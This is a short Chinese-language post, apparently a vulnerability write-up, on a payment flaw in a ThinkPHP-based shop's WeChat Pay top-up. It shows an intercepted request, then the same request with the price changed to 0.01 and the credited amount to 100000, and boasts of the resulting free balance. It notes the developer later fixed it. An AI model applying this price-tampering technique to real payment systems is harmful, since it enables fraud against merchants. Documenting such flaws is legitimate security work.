某公司用ThinkPHP改的商城存在的支付漏洞

首先进入个人页面

点击充值进入充值页面

然后点击充值按钮，拦截请求地址得到

GET /WxpayAPI/weixinpay/js_api_calltmy.php?order_no=125876581523781&price=100&shop_id=1483&spmc=%D3%E0%B6%EE%B3%E4%D6%B5&markprice=100 HTTP/1.1
Host: wx.***.com
Cookie: PHPSESSID=a75ba6a56fe46584722754fdadbb7e61; name_id=a75ba6a56fe46584722754fdadbb7e61; PHPSESSID=a75ba6a56fe46584722754fdadbb7e61
Connection: close
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14A403 MicroMessenger/6.3.25 NetType/WIFI Language/zh_CN
Referer: http://wx.***.com/ShopIndex.php/User/Indexnew/usable_money/shop_id/1483?&login_member_id=14345
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate

GET /WxpayAPI/weixinpay/js_api_calltmy.php?order_no=125876581523781&price=0.01&shop_id=1483&spmc=%D3%E0%B6%EE%B3%E4%D6%B5&markprice=100000 HTTP/1.1
Host: wx.***.com
Cookie: PHPSESSID=a75ba6a56fe46584722754fdadbb7e61; name_id=a75ba6a56fe46584722754fdadbb7e61; PHPSESSID=a75ba6a56fe46584722754fdadbb7e61
Connection: close
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14A403 MicroMessenger/6.3.25 NetType/WIFI Language/zh_CN
Referer: http://wx.***.com/ShopIndex.php/User/Indexnew/usable_money/shop_id/1483?&login_member_id=14345
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate

输入密码后就充值成功了

分分钟变土豪！

更新

听说程序猿哥哥已经修复了漏洞，还是挺积极的。